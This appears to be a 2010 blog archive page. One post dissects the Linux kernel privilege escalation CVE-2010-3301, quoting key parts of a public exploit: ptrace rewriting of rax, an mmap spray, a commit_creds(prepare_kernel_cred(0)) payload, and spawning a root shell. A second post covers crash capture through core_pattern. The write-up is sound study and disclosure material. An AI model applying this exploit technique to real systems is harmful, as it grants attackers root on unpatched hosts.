time to bleed by Joe Damato

technical ramblings from a wanna-be unix dinosaur

Archive for September, 2010

detailed explanation of a recent privilege escalation bug in linux (CVE-2010-3301)

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tl;dr

This article is going to explain how a recent privilege escalation exploit for the Linux kernel works. I’ll explain what the deal is from the kernel side and the exploit side.

This article is long and technical; prepare yourself.

ia32 syscall emulation

There are two ways to invoke system calls on the Intel/AMD family of processors:

  1. Software interrupt 0x80.
  2. The sysenter family of instructions.

The sysenter family of instructions are a faster syscall interface than the traditional int 0x80 interface, but aren’t available on some older 32bit Intel CPUs.

The Linux kernel has a layer of code to allow syscalls executed via int 0x80 to work on newer kernels. When a system call is invoked with int 0x80, the kernel rearranges state to pass off execution to the desired system call thus maintaing support for this older system call interface.

This code can be found at http://lxr.linux.no/linux+v2.6.35/arch/x86/ia32/ia32entry.S#L380. We will examine this code much more closely very soon.

ptrace(2) and the ia32 syscall emulation layer

From the ptrace(2) man page (emphasis mine):

The ptrace() system call provides a means by which a parent process may observe and control the execution of another process, and examine and change its core image and registers. It is primarily used to implement break-point debugging and system call tracing.

If we examine the IA32 syscall emulation code we see some code in place to support ptrace1:

ENTRY(ia32_syscall)
/* . . . */
        GET_THREAD_INFO(%r10)
          orl $TS_COMPAT,TI_status(%r10)
        testl $_TIF_WORK_SYSCALL_ENTRY,TI_flags(%r10)
        jnz ia32_tracesys

This code is placing a pointer to the thread control block (TCB) into the register r10 and then checking if ptrace is listening for system call notifications. If it is, a secondary code path is entered.

Let’s take a look2:

ia32_tracesys:                   
        /* . . . */
        call syscall_trace_enter
        LOAD_ARGS32 ARGOFFSET  /* reload args from stack in case ptrace changed it */
        RESTORE_REST
        cmpl $(IA32_NR_syscalls-1),%eax
        ja  int_ret_from_sys_call       /* ia32_tracesys has set RAX(%rsp) */
        jmp ia32_do_call
END(ia32_syscall)

Notice the LOAD_ARGS32 macro and comment above. That macro reloads register values after the ptrace syscall notification has fired. This is really fucking important because the userland parent process listening for ptrace notifications may have modified the registers which were loaded with data to correctly invoke a desired system call. It is crucial that these register values are untouched to ensure that the system call is invoked correctly.

Also take note of the sanity check for %eax: cmpl $(IA32_NR_syscalls-1),%eax

This check is ensuring that the value in %eax is less than or equal to (number of syscalls – 1). If it is, it executes ia32_do_call.

Let’s take a look at the LOAD_ARGS32 macro3:

.macro LOAD_ARGS32 offset, _r9=0
/* . . . */
movl \offset+40(%rsp),%ecx
movl \offset+48(%rsp),%edx
movl \offset+56(%rsp),%esi
movl \offset+64(%rsp),%edi
.endm

Notice that the register %eax is left untouched by this macro, even after the ptrace parent process has had a chance to modify its contents.

Let’s take a look at ia32_do_call which actually transfers execution to the system call4:

ia32_do_call:
        IA32_ARG_FIXUP
        call *ia32_sys_call_table(,%rax,8) # xxx: rip relative

The system call invocation code is calling the function whose address is stored at ia32_sys_call_table[8 * %rax]. That is, the (8 * %rax)th entry in the ia32_sys_call_table.

subtle bug leads to sexy exploit

This bug was originally discovered by the polish hacker “cliph” in 2007, fixed, but then reintroduced accidentally in early 2008.

The exploit is made by possible by three key things:

  1. The register %eax is not touched in the LOAD_ARGS macro and can be set to any arbitrary value by a call to ptrace.
  2. The ia32_do_call uses %rax, not %eax, when indexing into the ia32_sys_call_table.
  3. The %eax check (cmpl $(IA32_NR_syscalls-1),%eax) in ia32_tracesys only checks %eax. Any bits in the upper 32bits of %rax will be ignored by this check.

These three stars align and allow an attacker cause an integer overflow in ia32_do_call causing the kernel to hand off execution to an arbitrary address.

Damnnnnn, that’s hot.

the exploit, step by step

The exploit code is available here and was written by Ben Hawkes and others.

The exploit begins execution by forking and executing two copies of itself:

        if ( (pid = fork()) == 0) {
                ptrace(PTRACE_TRACEME, 0, 0, 0);
                execl(argv[0], argv[0], "2", "3", "4", NULL);
                perror("exec fault");
                exit(1);
        }

The child process is set up to be traced with ptrace by setting the PTRACE_TRACEME.

The parent process enters a loop:

        for (;;) {
                if (wait(&status) != pid)
                        continue;

                /* ... */
                
                rax = ptrace(PTRACE_PEEKUSER, pid, 8*ORIG_RAX, 0);
                if (rax == 0x000000000101) {
                        if (ptrace(PTRACE_POKEUSER, pid, 8*ORIG_RAX, off/8) == -1) {
                                printf("PTRACE_POKEUSER fault\n");
                                exit(1);
                        }
                        set = 1;
                }
 
                /* ... */
 
                if (ptrace(PTRACE_SYSCALL, pid, 1, 0) == -1) {
                        printf("PTRACE_SYSCALL fault\n");
                        exit(1);
                }
         }

The parents calls wait and blocks until entry into a system call. When a system call is entered, ptrace is invoked to read the value of the rax register. If the value is 0x101, ptrace is invoked to set the value of rax to 0x800000101 to cause an overflow as we’ll see shortly. ptrace is then invoked to resume execution in the child.

While this is happening, the child process is executing. It begins by looking the address of two symbols in the kernel:

	commit_creds = (_commit_creds) get_symbol("commit_creds");
	/* ... */

	prepare_kernel_cred = (_prepare_kernel_cred) get_symbol("prepare_kernel_cred");
       /* ... */

Next, the child process attempts to create an anonymous memory mapping using mmap:

        if (mmap((void*)tmp, size, PROT_READ|PROT_WRITE|PROT_EXEC,
                MAP_PRIVATE|MAP_FIXED|MAP_ANONYMOUS, -1, 0) == MAP_FAILED) {
          /* ... */            

This mapping is created at the address tmp. tmp is set earlier to: 0xffffffff80000000 + (0x0000000800000101 * 8) (stored in kern_s in main).

This value actually causes an overflow, and wraps around to: 0x3f80000808. mmap only creates mappings on page-aligned addresses, so the mapping is created at: 0x3f80000000. This mapping is 64 megabytes large (stored in size).

Next, the child process writes the address of a function called kernelmodecode which makes use of the symbols commit_creds and prepare_kernel_cred which were looked up earlier:

int kernelmodecode(void *file, void *vma)
{
	commit_creds(prepare_kernel_cred(0));
	return -1;
}

The address of that function is written over and over to the 64mb memory that was mapped in:

        for (; (uint64_t) ptr < (tmp + size); ptr++)
                *ptr = (uint64_t)kernelmodecode;

Finally, the child process executes syscall number 0x101 and then executes a shell after the system call returns:

        __asm__("\n"
        "\tmovq $0x101, %rax\n"
        "\tint $0x80\n");
 
        /* . . . */
        execl("/bin/sh", "bin/sh", NULL);

tying it all together

When system call 0x101 is executed, the parent process (described above) receives a notification that a system call is being entered. The parent process then sets rax to a value which will cause an overflow: 0x800000101 and resumes execution in the child.

The child executes the erroneous check described above:

        cmpl $(IA32_NR_syscalls-1),%eax
        ja  int_ret_from_sys_call       /* ia32_tracesys has set RAX(%rsp) */
        jmp ia32_do_call

Which succeeds, because it is only comparing the lower 32bits of rax (0x101) to IA32_NR_syscalls-1.

Next, execution continues to ia32_do_call, which causes an overflow, since rax contains a very large value.

call *ia32_sys_call_table(,%rax,8)

Instead of calling the function whose address is stored in the ia32_sys_call_table, the address is pulled from the memory the child process mapped in, which contains the address of the function kernelmodecode.

kernelmodecode is part of the exploit, but the kernel has access to the entire address space and is free to begin executing code wherever it chooses. As a result, kernelmodecode executes in kernel mode setting the privilege level of the process to those of init.

The system has been rooted.

The fix

The fix is to zero the upper half of eax and change the comparison to examine the entire register. You can see the diffs of the fix here and here.

Conclusions

  • Reading exploit code is fun. Sometimes you find particularly sexy exploits like this one.
  • The IA32 syscall emulation layer is, in general, pretty wild. I would not be surprised if more bugs are discovered in this section of the kernel.
  • Code reviews play a really important part of overall security for the Linux kernel, but subtle bugs like this are very difficult to catch via code review.
  • I'm not a Ruby programmer.

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References

  1. http://lxr.linux.no/linux+v2.6.35/arch/x86/ia32/ia32entry.S#L424 []
  2. http://lxr.linux.no/linux+v2.6.35/arch/x86/ia32/ia32entry.S#L439 []
  3. http://lxr.linux.no/linux+v2.6.35/arch/x86/ia32/ia32entry.S#L50 []
  4. http://lxr.linux.no/linux+v2.6.35/arch/x86/ia32/ia32entry.S#L430 []

Written by Joe Damato

September 27th, 2010 at 4:59 am

an obscure kernel feature to get more info about dying processes

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tl;dr

This post will describe how I stumbled upon a code path in the Linux kernel which allows external programs to be launched when a core dump is about to happen. I provide a link to a short and ugly Ruby script which captures a faulting process, runs gdb to get a backtrace (and other information), captures the core dump, and then generates a notification email.

I don’t care about faults because I use monit, god, etc

Chill.

Your processes may get automatically restarted when a fault occurs and you may even get an email letting you know your process died. Both of those things are useful, but it turns out that with just a tiny bit of extra work you can actually get very detailed emails showing a stack trace, register information, and a snapshot of the process’ files in /proc.

random walking the linux kernel

One day I was sitting around wondering how exactly the coredump code paths are wired. I cracked open the kernel source and started reading.

It wasn’t long until I saw this piece of code from exec.c1:

void do_coredump(long signr, int exit_code, struct pt_regs *regs)
{
  /* .... */
  lock_kernel();
  ispipe = format_corename(corename, signr);
  unlock_kernel();

   if (ispipe) {
   /* ... */

Hrm. ispipe? That seems interesting. I wonder what format_corename does and what ispipe means. Following through and reading format_corename2:

static int format_corename(char *corename, long signr)
{
	/* ... */

        const char *pat_ptr = core_pattern;
        int ispipe = (*pat_ptr == '|');

	/* ... */

        return ispipe;
}

In the above code, core_pattern (which can be set with a sysctl or via /proc/sys/kernel/core_pattern) to determine if the first character is a |. If so, format_corename returns 1. So | seems relatively important, but at this point I’m still unclear on what it actually means.

Scanning the rest of the code for do_coredump reveals something very interesting3 (this is more code from the function in the first code snippet above):

     /* ... */

     helper_argv = argv_split(GFP_KERNEL, corename+1, NULL);

     /* ... */

     retval = call_usermodehelper_fns(helper_argv[0], helper_argv,
                             NULL, UMH_WAIT_EXEC, umh_pipe_setup,
                             NULL, &cprm);

    /* ... */

WTF? call_usermodehelper_fns? umh_pipe_setup? This is looking pretty interesting. If you follow the code down a few layers, you end up at call_usermodehelper_exec which has the following very enlightening comment:

/**
 * call_usermodehelper_exec - start a usermode application
 *
 *  . . .
 *
 * Runs a user-space application.  The application is started
 * asynchronously if wait is not set, and runs as a child of keventd.
 * (ie. it runs with full root capabilities).
 */

what it all means

All together this is actually pretty fucking sick:

  • You can set /proc/sys/kernel/core_pattern to run a script when a process is going to dump core.
  • Your script is run before the process is killed.
  • A pipe is opened and attached to your script. The kernel writes the coredump to the pipe. Your script can read it and write it to storage.
  • Your script can attach GDB, get a backtrace, and gather other information to send a detailed email.

But the coolest part of all:

  • All of the files in /proc/[pid] for that process remain intact and can be inspected. You can check the open file descriptors, the process’s memory map, and much much more.

ruby codez to harness this amazing code path

I whipped up a pretty simple, ugly, ruby script. You can get it here. I set up my system to use it by:

% echo "|/path/to/core_helper.rb %p %s %u %g" > /proc/sys/kernel/core_pattern 

Where:

  • %pPID of the dying process
  • %s – signal number causing the core dump
  • %u – real user id of the dying process
  • %g – real group id of the dyning process

Why didn’t you read the documentation instead?

This (as far as I can tell) little-known feature is documented at linux-kernel-source/Documentation/sysctl/kernel.txt under the “core_pattern” section. I didn’t read the documentation because (little known fact) I actually don’t know how to read. I found the code path randomly and it was much more fun an interesting to discover this little feature by diving into the code.

Conclusion

  • This could/should probably be a feature/plugin/whatever for god/monit/etc instead of a stand-alone script.
  • Reading code to discover features doesn’t scale very well, but it is a lot more fun than reading documentation all the time. Also, you learn stuff and reading code makes you a better programmer.

References

  1. http://lxr.linux.no/linux+v2.6.35.4/fs/exec.c#L1836 []
  2. http://lxr.linux.no/linux+v2.6.35.4/fs/exec.c#L1446 []
  3. http://lxr.linux.no/linux+v2.6.35.4/fs/exec.c#L1836 []

Written by Joe Damato

September 20th, 2010 at 4:59 am